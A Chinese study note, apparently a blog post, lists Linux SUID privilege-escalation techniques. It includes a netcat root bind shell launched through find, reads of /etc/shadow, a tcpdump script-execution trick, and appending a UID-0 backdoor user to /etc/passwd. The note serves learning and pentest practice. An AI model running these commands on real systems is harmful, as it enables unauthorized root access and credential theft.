以下为个人学习笔记和习题整理

# 简单介绍一下概念

SUID(设置用户 ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有 SUID 权限,那么就可以利用系统中的二进制文件和工具来进行 root 提权。

已知的可用来提权的 linux 可行性的文件列表如下:
Nmap、Vim、find、Bash、More、Less、Nano、cp

以下命令可以发现系统上运行的所有 SUID 可执行文件。具体来说,命令将尝试查找具有 root 权限的 SUID 的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

因为它们的权限中包含 "s",并且对应的是 root 权限。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

# NMAP

较旧版本的 Nmap(2.02 至 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 在使用 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。

nmap -V

交互模式可以通过执行 Nmap 参数 "interactive"

nmap --interactive
Nmap - 交互模式
以下命令将提供一个提升的 shell。

nmap> !sh
sh-3.2# whoami
root

提权至 Root 权限,也可以通过 Metasploit 模块对 Nmap 的二进制文件进行权限提升。
exploit/unix/local/setuid_nmap

# Find

如果 Find 命令也是以 Suid 权限运行的话,则将通过 find 执行的所有命令都会以 root 权限执行。

touch pentestlab
find pentestlab -exec whoami \;

Find 命令权限提升
大部分 Linux 操作系统都安装了 netcat,因此也可以被利用来将权限提升至 root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

通过 Find 运行 Netcat,连接上去就会直接获取到一个 Root 权限的 shell。

netcat 192.168.1.189 5555
id
cat /etc/shadow

# VIM

Vim 是 Linux 环境下的一款文件编辑器。但是,如果以 SUID 运行的话,它会继承 root 用户的权限,因此可以读取系统上的所有文件。
Vim - Root 权限的 shell

vim.tiny /etc/shadow
vim.tiny
 Press ESC key
:set shell=/bin/sh
:shell

# Bash

以下命令将以 root 权限打开一个 bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

# Less

Less 和 More 都执行以用来提权。

less /etc/passwd
!/bin/sh
more /home/pelle/myfile
!/bin/bash

# cp

使用 cp 覆盖 /etc/shadow

# mv

使用 mv 覆盖 /etc/shadow 或者 /etc/sudoers

# tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

# perl

我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且 UID 设置为 0,将其添加到 /etc/passwd 文件中。
首先,使用 perl 语言生成带有盐值的密码:

perl -le 'print crypt("password@123","addedsalt")' 

然后执行下面这条命令,成功将 test 用户的信息加入 /etc/passwd 文件

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

# awk

awk 'BEGIN{system("whoami")}'
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Avenue-le 微信支付

微信支付

Avenue-le 支付宝

支付宝

Avenue-le beauty

beauty